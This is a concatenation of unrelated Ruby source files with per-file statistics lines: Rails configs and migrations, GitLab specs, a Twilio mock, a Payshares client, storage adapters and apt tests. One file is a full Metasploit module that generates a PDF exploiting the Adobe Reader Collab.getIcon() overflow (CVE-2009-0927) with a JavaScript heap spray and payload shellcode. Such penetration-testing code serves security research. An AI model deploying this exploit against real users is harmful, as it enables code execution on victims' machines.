s.gsub! "/var/run/rinetd.pid", "#{var}/rinetd.pid"
end
inreplace "Makefile" do |s|
s.gsub! "/usr/sbin", sbin
s.gsub! "/usr/man", man
end
sbin.mkpath
man8.mkpath
system "make", "install"
conf = etc/"rinetd.conf"
unless conf.exist?
conf.write <<~EOS
# forwarding rules go here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress bindport connectaddress connectport
EOS
end
end
test do
system "#{sbin}/rinetd", "-h"
end
end
| 28.326531 | 93 | 0.688761 |
5df571dcdf58d8df32a626c9bc4565981f171b02 | 1,182 | module TwilioExtensions
module AccountContext
def available_phone_numbers(country_code=:unset)
client = @version.instance_variable_get(:@domain).client
TwilioMock::Mocker.new(username: client.account_sid, token: client.auth_token).available_number if TwilioMock::Testing.enabled?
super(country_code)
end
end
module Messages
def create(attrs)
client = @version.instance_variable_get(:@domain).client
TwilioMock::Mocker.new(username: client.account_sid, token: client.auth_token).create_message(attrs) if TwilioMock::Testing.enabled?
super(attrs)
end
end
module IncomingPhoneNumbers
def create(attrs)
client = @version.instance_variable_get(:@domain).client
TwilioMock::Mocker.new(username: client.account_sid, token: client.auth_token).buy_number(attrs) if TwilioMock::Testing.enabled?
super(attrs)
end
end
module Lookups
def fetch(*)
client = @version.instance_variable_get(:@domain).client
TwilioMock::LookupMocker.new(username: client.account_sid, token: client.auth_token).lookup(@solution[:phone_number]) if TwilioMock::Testing.enabled?
super
end
end
end
| 34.764706 | 155 | 0.738579 |
38a123c3c1de7f8345a822e85ab4b03f95068a0e | 220 | class CreateQuestions < ActiveRecord::Migration[6.0]
def change
create_table :questions do |t|
t.string :title
t.belongs_to :section, null: false, foreign_key: true
t.timestamps
end
end
end
| 22 | 59 | 0.681818 |
4a62ef7fb9b88c99522a0ce5bc4f674d8af61abe | 1,868 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
config.hosts.clear
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
# Run rails dev:cache to toggle caching.
if Rails.root.join('tmp', 'caching-dev.txt').exist?
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Highlight code that triggered database queries in logs.
config.active_record.verbose_query_logs = true
# Raises error for missing translations.
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 34.592593 | 87 | 0.759101 |
873142b1ccc608d8255dac3e59d06a99c6d0f4b4 | 214 | class SageAvatarGroup < SageComponent
set_attribute_schema({
items: [[
color: [:optional, NilClass, SageSchemas::COLORS],
css_classes: [:optional, String],
initials: String,
]]
})
end
| 21.4 | 56 | 0.64486 |
bfbf8c6ded97bf92f3e439579271b7948c2eae6c | 1,436 | # Copyright:: Copyright 2010-2016, Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# NOTE: This file is generated by running `rake version` in the top level of
# this repo. Do not edit this manually. Edit the VERSION file and run the rake
# task instead.
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
require "chef/version_string"
class Chef
CHEF_ROOT = File.expand_path("../..", __FILE__)
VERSION = Chef::VersionString.new("14.0.48")
end
#
# NOTE: the Chef::Version class is defined in version_class.rb
#
# NOTE: DO NOT Use the Chef::Version class on Chef::VERSIONs. The
# Chef::Version class is for _cookbooks_ only, and cannot handle
# pre-release versions like "10.14.0.rc.2". Please use Rubygem's
# Gem::Version class instead.
#
| 38.810811 | 80 | 0.649721 |
f86d8d4b29e67da813503189211a18a21ec7fc22 | 565 | # frozen_string_literal: true
module SigepWeb
class WebServiceReverseLogisticApi
def initialize
@client = Savon.client(
wsdl: url,
ssl_verify_mode: :none
)
end
def process(method, message)
@client.call(method, soap_action: "", message: message)
end
private
def url
if ENV["GEM_ENV"] == "test"
"http://webservicescolhomologacao.correios.com.br/ScolWeb/WebServiceScol?wsdl"
else
"http://webservicescol.correios.com.br/ScolWeb/WebServiceScol?wsdl"
end
end
end
end
| 20.925926 | 86 | 0.647788 |
627d3bb42c76040caeefa903e43aae2705406fbe | 3,542 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe ::Gitlab::SubscriptionPortal do
using RSpec::Parameterized::TableSyntax
let(:env_value) { nil }
before do
stub_env('CUSTOMER_PORTAL_URL', env_value)
end
describe '.default_subscriptions_url' do
where(:test, :development, :result) do
false | false | 'https://customers.gitlab.com'
false | true | 'https://customers.staging.gitlab.com'
true | false | 'https://customers.staging.gitlab.com'
end
before do
allow(Rails).to receive_message_chain(:env, :test?).and_return(test)
allow(Rails).to receive_message_chain(:env, :development?).and_return(development)
end
with_them do
subject { described_class.default_subscriptions_url }
it { is_expected.to eq(result) }
end
end
describe '.subscriptions_url' do
subject { described_class.subscriptions_url }
context 'when CUSTOMER_PORTAL_URL ENV is unset' do
it { is_expected.to eq('https://customers.staging.gitlab.com') }
end
context 'when CUSTOMER_PORTAL_URL ENV is set' do
let(:env_value) { 'https://customers.example.com' }
it { is_expected.to eq(env_value) }
end
end
describe '.subscriptions_comparison_url' do
subject { described_class.subscriptions_comparison_url }
link_match = %r{\Ahttps://about\.gitlab\.((cn/pricing/saas)|(com/pricing/gitlab-com))/feature-comparison\z}
it { is_expected.to match(link_match) }
end
context 'url methods' do
where(:method_name, :result) do
:default_subscriptions_url | 'https://customers.staging.gitlab.com'
:payment_form_url | 'https://customers.staging.gitlab.com/payment_forms/cc_validation'
:registration_validation_form_url | 'https://customers.staging.gitlab.com/payment_forms/cc_registration_validation'
:subscriptions_graphql_url | 'https://customers.staging.gitlab.com/graphql'
:subscriptions_more_minutes_url | 'https://customers.staging.gitlab.com/buy_pipeline_minutes'
:subscriptions_more_storage_url | 'https://customers.staging.gitlab.com/buy_storage'
:subscriptions_manage_url | 'https://customers.staging.gitlab.com/subscriptions'
:subscriptions_plans_url | 'https://about.gitlab.com/pricing/'
:subscriptions_instance_review_url | 'https://customers.staging.gitlab.com/instance_review'
:subscriptions_gitlab_plans_url | 'https://customers.staging.gitlab.com/gitlab_plans'
:edit_account_url | 'https://customers.staging.gitlab.com/customers/edit'
end
with_them do
subject { described_class.send(method_name) }
it { is_expected.to eq(result) }
end
end
describe '.add_extra_seats_url' do
subject { described_class.add_extra_seats_url(group_id) }
let(:group_id) { 153 }
it { is_expected.to eq("https://customers.staging.gitlab.com/gitlab/namespaces/#{group_id}/extra_seats") }
end
describe '.upgrade_subscription_url' do
subject { described_class.upgrade_subscription_url(group_id, plan_id) }
let(:group_id) { 153 }
let(:plan_id) { 5 }
it { is_expected.to eq("https://customers.staging.gitlab.com/gitlab/namespaces/#{group_id}/upgrade/#{plan_id}") }
end
describe '.renew_subscription_url' do
subject { described_class.renew_subscription_url(group_id) }
let(:group_id) { 153 }
it { is_expected.to eq("https://customers.staging.gitlab.com/gitlab/namespaces/#{group_id}/renew") }
end
end
| 34.72549 | 122 | 0.704122 |
1cd7b56826f7be7cd5a9f6c3525720a5fb566683 | 1,500 | require 'carrierwave'
require "tencent_cos_sdk"
module CarrierWave
module Storage
class TencentCos < Abstract
# Create and save a file instance to your engine.
def store!(file)
f = CarrierWave::Storage::TencentCos::File.new(uploader.store_path)
f.store(file)
f
end
def cache!(file)
f = CarrierWave::Storage::TencentCos::File.new(uploader.store_path)
f.store(file)
f
end
# Load and return a file instance from your engine.
def retrieve!(identifier)
CarrierWave::Storage::TencentCos::File.new(uploader.store_path(identifier))
end
# Subclass or duck-type CarrierWave::SanitizedFile
# responsible for storing the file to your engine.
class File
attr_reader :path
# Initialize as required.
def initialize(path)
@path = path
end
def store(new_file)
TencentCosSdk.put @path, file: new_file.path
end
def url
"https://zoosg-1256792782.file.myqcloud.com/#{@path}"
end
def delete
TencentCosSdk.delete @path
end
end # File
end # TencentCos
end # Storage
end # CarrierWave
| 30 | 91 | 0.502667 |
875df5bbdf2b69576f7b4c1321f7c04fb2581a4b | 2,517 | require 'hyperclient'
module Payshares
class Client
include Contracts
def self.default(options={})
new options.merge({
horizon: "https://horizon.payshares.org"
})
end
def self.default_testnet(options={})
new options.merge({
horizon: "https://horizon-testnet.payshares.org",
friendbot: "https://horizon-testnet.payshares.org",
})
end
def self.localhost(options={})
new options.merge({
horizon: "http://127.0.0.1:3000", #TODO: figure out a real port
})
end
attr_reader :horizon
Contract ({horizon: String}) => Any
def initialize(options)
@options = options
@horizon = Hyperclient.new(options[:horizon]) do |client|
client.faraday_block = lambda do |conn|
conn.use Faraday::Response::RaiseError
conn.use FaradayMiddleware::FollowRedirects
conn.request :url_encoded
conn.response :hal_json, content_type: /\bjson$/
conn.adapter :excon
end
client.headers = {
'Accept' => 'application/hal+json,application/problem+json,application/json'
}
end
end
def friendbot(account)
raise NotImplementedError
end
# Contract Payshares::Account => Payshares::AccountInfo
Contract Payshares::Account => Any
def account_info(account)
address = account.address
@horizon.account(address:address)
end
Contract ({
from: Payshares::Account,
to: Payshares::Account,
amount: Payshares::Amount
}) => Any
def send_payment(options={})
from = options[:from]
sequence = options[:sequence] || account_info(from).sequence
payment = Payshares::Transaction.payment({
account: from.keypair,
destination: options[:to].keypair,
sequence: sequence + 1,
amount: options[:amount].to_payment,
})
envelope_hex = payment.to_envelope(from.keypair).to_xdr(:hex)
@horizon.transactions._post(tx: envelope_hex)
end
Contract ({
account: Maybe[Payshares::Account],
limit: Maybe[Pos]
}) => TransactionPage
def transactions(options={})
args = options.slice(:limit)
resource = if options[:account]
args = args.merge(address: options[:account].address)
@horizon.account_transactions(args)
else
@horizon.transactions(args)
end
TransactionPage.new(resource)
end
end
end | 26.494737 | 87 | 0.614621 |
872b9bfb5e4f69b31e93e38e5d984a4adc189f50 | 346 | require "test_helper"
class SongsheetTest < ActiveSupport::TestCase
test "all_media returns tracks and songsheet" do
songsheet = create :songsheet, :with_track
media = [
create(:medium, record: songsheet),
create(:medium, record: songsheet.track)
]
assert_equal media.to_set, songsheet.all_media.to_set
end
end
| 23.066667 | 57 | 0.716763 |
d5f54ff2dafe46e9facad5cc748d8cb31fb62d2c | 77 | json.partial! "courseofstudies/courseofstudy", courseofstudy: @courseofstudy
| 38.5 | 76 | 0.844156 |
e29479c3d571bdb86623cbdba501087d54864add | 3,831 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core/exploit/pdf'
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'MC',
'Didier Stevens <didier.stevens[at]gmail.com>',
'jduck'
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-0927' ],
[ 'OSVDB', '53647' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 7.0.5 - no trigger
# reader 7.0.8 - no trigger
# reader 7.0.9 - no trigger
# reader 7.1.0 - no trigger
# reader 7.1.1 - reported not vulnerable
# reader 8.0.0 - works
# reader 8.1.2 - works
# reader 8.1.3 - reported not vulnerable
# reader 9.0.0 - works
# reader 9.1.0 - reported not vulnerable
[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
],
'DisclosureDate' => 'Mar 24 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize variables
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)
rand12 = rand_text_alpha(rand(100) + 1)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} ="";
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
#{rand4} = #{rand2} + #{rand1};
#{rand5} = unescape("#{nops}");
#{rand6} = 20;
#{rand7} = #{rand6}+#{rand4}.length
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
#{rand8} = #{rand5}.substring(0, #{rand7});
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
#{rand10} = new Array();
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
var #{rand12} = unescape("%0a");
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
#{rand12} = "N."+#{rand12};
Collab.getIcon(#{rand12});
|
# Create the pdf
#pdf = make_pdf(script)
pdf = CreatePDF(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
end
| 29.469231 | 90 | 0.593579 |
91276215588327f420ed957922f8f6249f948f76 | 157 | class User < ActiveRecord::Base
has_secure_password
has_many :movies
validates :name, :email, presence: true
validates :email, uniqueness: true
end
| 19.625 | 41 | 0.757962 |
1cec7094f82dc9874e124c0006d0559a088849e6 | 612 | require 'devise_feature_flags/version'
require 'devise_feature_flags/models/devise_feature_flag'
require 'active_record'
require 'devise'
module DeviseFeatureFlags
class Feature < ::ActiveRecord::Base
self.table_name = 'feature_flags_features'
has_many :feature_users, primary_key: :key, foreign_key: :feature_flag_key
end
class FeatureUser < ::ActiveRecord::Base
self.table_name = 'feature_flags_users'
belongs_to :feature, primary_key: :key, foreign_key: :feature_flag_key
end
end
Devise.add_module :devise_feature_flags#, :model => 'devise_feature_flags/models/devise_feature_flag'
| 32.210526 | 101 | 0.795752 |
1145531e9967ef60bcb8ce39904d2d7e23178aee | 210 | class Registration < ApplicationRecord
belongs_to :user, inverse_of: :registrations
belongs_to :course, inverse_of: :registrations
validates :user, presence: true
validates :course, presence: true
end
| 26.25 | 48 | 0.785714 |
879cecee1f3193e80d2621d2ff80a4804cbdcb50 | 803 | # Automatic Image alt tags from image names extension
class Middleman::Extensions::AutomaticAltTags < ::Middleman::Extension
def initialize(app, options_hash={}, &block)
super
end
helpers do
# Override default image_tag helper to automatically insert alt tag
# containing image name.
def image_tag(path)
unless path.include?('://')
params[:alt] ||= ''
real_path = path
real_path = File.join(images_dir, real_path) unless real_path.start_with?('/')
full_path = File.join(source_dir, real_path)
if File.exist?(full_path)
begin
alt_text = File.basename(full_path, '.*')
alt_text.capitalize!
params[:alt] = alt_text
end
end
end
super(path)
end
end
end
| 25.09375 | 86 | 0.617684 |
21ed49b5488a090e4fa62e44a03ac7eda5a87604 | 1,247 | # frozen_string_literal: true
# Fetches the self monitoring metrics dashboard and formats the output.
# Use Gitlab::Metrics::Dashboard::Finder to retrieve dashboards.
module Metrics
module Dashboard
class SelfMonitoringDashboardService < ::Metrics::Dashboard::PredefinedDashboardService
DASHBOARD_PATH = 'config/prometheus/self_monitoring_default.yml'
DASHBOARD_NAME = N_('Default dashboard')
SEQUENCE = [
STAGES::CustomMetricsInserter,
STAGES::MetricEndpointInserter,
STAGES::VariableEndpointInserter,
STAGES::PanelIdsInserter,
STAGES::Sorter
].freeze
class << self
def valid_params?(params)
matching_dashboard?(params[:dashboard_path]) || self_monitoring_project?(params)
end
def all_dashboard_paths(_project)
[{
path: DASHBOARD_PATH,
display_name: _(DASHBOARD_NAME),
default: true,
system_dashboard: false,
out_of_the_box_dashboard: out_of_the_box_dashboard?
}]
end
def self_monitoring_project?(params)
params[:dashboard_path].nil? && params[:environment]&.project&.self_monitoring?
end
end
end
end
end
| 30.414634 | 91 | 0.663994 |
b9c2cb074a80cb410c6a87a25e3de0ec8aff5154 | 1,482 | describe GraylogAPI::System::Cluster, vcr: true do
include_context 'graylogapi'
context 'node' do
subject(:response) do
graylogapi.system.cluster.node
end
it 'code 200' do
expect(response.code).to eq 200
end
it 'contain cluster_id' do
expect(response.keys).to include 'cluster_id'
end
it 'contain node_id' do
expect(response.keys).to include 'node_id'
end
end
context 'nodes' do
subject(:response) do
graylogapi.system.cluster.nodes
end
it 'code 200' do
expect(response.code).to eq 200
end
it 'contain nodes' do
expect(response.keys).to include 'nodes'
end
it 'contain count' do
expect(response.keys).to include 'total'
end
end
context 'node_by_id' do
subject(:response) do
graylogapi.system.cluster.node_by_id(node['node_id'])
end
let(:node) { graylogapi.system.cluster.node }
it 'code 200' do
expect(response.code).to eq 200
end
it 'contain node_id' do
expect(response['node_id']).to eq node['node_id']
end
end
context 'node_id_to_hostname' do
subject(:response) do
graylogapi.system.cluster.node_by_hostname(node['hostname'])
end
let(:node) { graylogapi.system.cluster.node }
it 'has eq hostname' do
expect(response['hostname']).to eq node['hostname']
end
it 'has eq node_id' do
expect(response['node_id']).to eq node['node_id']
end
end
end
| 20.583333 | 66 | 0.645749 |
e95ebd9050bed0a813472308b180ce37510a00ba | 1,671 | require File.expand_path(File.dirname(__FILE__) + '/test_helper.rb')
LoadedYaml = ['en', 'en-BORK'].inject({}) do |h, locale|
h[locale] = YAML.load_file(File.expand_path(File.dirname(__FILE__) + "/../lib/locales/#{locale}.yml"))[locale]['faker']
h
end
class TestLocale < Test::Unit::TestCase
def teardown
Faker::Config.locale = nil
end
def test_locale_separate_from_i18n
I18n.locale = :en
Faker::Config.locale = :de
assert Faker::PhoneNumber.phone_number.match(/\(0\d+\) \d+|\+49-\d+-\d+/)
assert Faker::Address.street_name.match(//)
Faker::Config.locale = :ru
assert Faker::Internet.domain_name.match(/([\da-z\.-]+)\.([a-z\.]{2,6})/)
end
def test_configured_locale_translation
Faker::Config.locale = 'en-BORK'
assert_equal Faker::Base.translate('faker.lorem.words').first, LoadedYaml['en-BORK']['lorem']['words'].first
end
def test_locale_override_when_calling_translate
Faker::Config.locale = 'en-BORK'
assert_equal Faker::Base.translate('faker.lorem.words', :locale => :en).first, LoadedYaml['en']['lorem']['words'].first
end
def test_translation_fallback
Faker::Config.locale = 'en-BORK'
assert_nil LoadedYaml['en-BORK']['name']
assert_equal Faker::Base.translate('faker.name.first_name').first, LoadedYaml['en']['name']['first_name'].first
end
def test_regex
Faker::Config.locale = 'en-GB'
re = /[A-PR-UWYZ]([A-HK-Y][0-9][ABEHMNPRVWXY0-9]?|[0-9][ABCDEFGHJKPSTUW0-9]?) [0-9][ABD-HJLNP-UW-Z]{2}/
assert re.match(result = Faker::Address.postcode), "#{result} didn't match #{re}"
end
def test_available_locales
assert I18n.locale_available?('en-GB')
end
end
| 34.8125 | 123 | 0.679234 |
ac04389f79a7693703ae0955724bcbc5e8171db2 | 5,540 | # encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 0) do
create_table "alias", force: :cascade do |t|
t.string "name", limit: 30
t.string "type", limit: 10
t.integer "pid", limit: 4
end
create_table "avatar", force: :cascade do |t|
t.integer "user_id", limit: 4
t.integer "x", limit: 4
t.integer "y", limit: 4
t.integer "s", limit: 4
end
create_table "cache", force: :cascade do |t|
t.string "type", limit: 10
t.string "name", limit: 255
t.text "content", limit: 4294967295
end
create_table "country", force: :cascade do |t|
t.string "name", limit: 45
t.string "alias", limit: 45
t.integer "region", limit: 4
t.string "lang", limit: 5
end
create_table "experience", force: :cascade do |t|
t.integer "user_id", limit: 4
t.string "job", limit: 90
t.string "company", limit: 90
t.string "time", limit: 45
t.text "description", limit: 4294967295
end
create_table "language", force: :cascade do |t|
t.string "name", limit: 255
t.string "common", limit: 255
t.string "alias", limit: 255
t.string "region", limit: 2
end
create_table "org", force: :cascade do |t|
t.string "type", limit: 3
t.string "name", limit: 255
t.string "sub", limit: 225
t.string "phone", limit: 45
t.string "fax", limit: 45
t.string "website", limit: 255
t.string "address", limit: 255
t.string "logo", limit: 255
t.integer "nationality", limit: 4
t.text "description", limit: 65535
t.string "header", limit: 45
t.string "color", limit: 7
t.string "cover", limit: 50
end
create_table "org_admin", id: false, force: :cascade do |t|
t.integer "org_id", limit: 4
t.integer "user_id", limit: 4
t.string "org_type", limit: 3
end
create_table "region", force: :cascade do |t|
t.string "name", limit: 255
end
create_table "skill", force: :cascade do |t|
t.string "skillname", limit: 45
t.string "alias", limit: 45
t.text "description", limit: 4294967295
t.string "image", limit: 45
t.string "categoryname", limit: 45
t.string "category", limit: 45
t.string "link", limit: 90
t.string "linkedit", limit: 90
t.integer "people", limit: 4
t.integer "jobs", limit: 4
end
create_table "social", force: :cascade do |t|
t.integer "user_id", limit: 4
t.string "facebook", limit: 255
t.string "google+", limit: 255
t.string "twitter", limit: 255
t.string "yahoo", limit: 255
t.string "github", limit: 255
t.string "gmail", limit: 255
t.string "skype", limit: 255
t.string "linkedin", limit: 255
t.string "youtube", limit: 255
t.string "phone", limit: 255
t.string "ask", limit: 255
end
create_table "test", force: :cascade do |t|
t.string "username", limit: 100
t.string "email", limit: 100
t.string "password", limit: 200
end
create_table "user", id: false, force: :cascade do |t|
t.integer "id", limit: 4, null: false
t.string "name", limit: 45
t.string "first_name", limit: 20, null: false
t.string "last_name", limit: 20, null: false
t.integer "order_name", limit: 4, null: false
t.string "email", limit: 45, default: "", null: false
t.string "password", limit: 45
t.string "alias", limit: 45
t.integer "lang", limit: 4
t.datetime "register"
t.string "search", limit: 45
t.string "avatar", limit: 45
t.string "reference", limit: 45
t.integer "nationality", limit: 4
t.string "headline", limit: 255
t.string "location", limit: 255
t.string "current", limit: 255
t.string "previous", limit: 255
t.string "education", limit: 255
t.integer "language", limit: 4
t.string "slogan", limit: 255
t.integer "active", limit: 4
t.string "question", limit: 255
t.string "answer", limit: 255
end
add_index "user", ["id"], name: "id", using: :btree
add_index "user", ["name"], name: "name", type: :fulltext
create_table "user_widget", force: :cascade do |t|
t.integer "user", limit: 4
t.string "widget", limit: 255
t.text "widget_keys", limit: 4294967295
t.text "widget_values", limit: 4294967295
end
create_table "widget", force: :cascade do |t|
t.string "name", limit: 255
t.string "alias", limit: 30
t.integer "enable", limit: 4
end
end
| 34.409938 | 86 | 0.594404 |
6a445e13eff68d7e74b25bcc49de4fb1a271e104 | 1,141 | require 'spec_helper_system'
describe 'apt::source' do
context 'reset' do
it 'clean up puppetlabs repo' do
shell('apt-key del 4BD6EC30')
shell('rm /etc/apt/sources.list.d/puppetlabs.list')
end
end
context 'apt::source' do
it 'should work with no errors' do
pp = <<-EOS
include '::apt'
apt::source { 'puppetlabs':
location => 'http://apt.puppetlabs.com',
repos => 'main',
key => '4BD6EC30',
key_server => 'pgp.mit.edu',
}
EOS
puppet_apply(pp) do |r|
r.exit_code.should_not == 1
end
end
describe 'key should exist' do
it 'finds puppetlabs key' do
shell('apt-key list | grep 4BD6EC30') do |r|
r.exit_code.should be_zero
end
end
end
describe 'source should exist' do
describe file('/etc/apt/sources.list.d/puppetlabs.list') do
it { should be_file }
end
end
end
context 'reset' do
it 'clean up puppetlabs repo' do
shell('apt-key del 4BD6EC30')
shell('rm /etc/apt/sources.list.d/puppetlabs.list')
end
end
end
| 21.942308 | 65 | 0.574934 |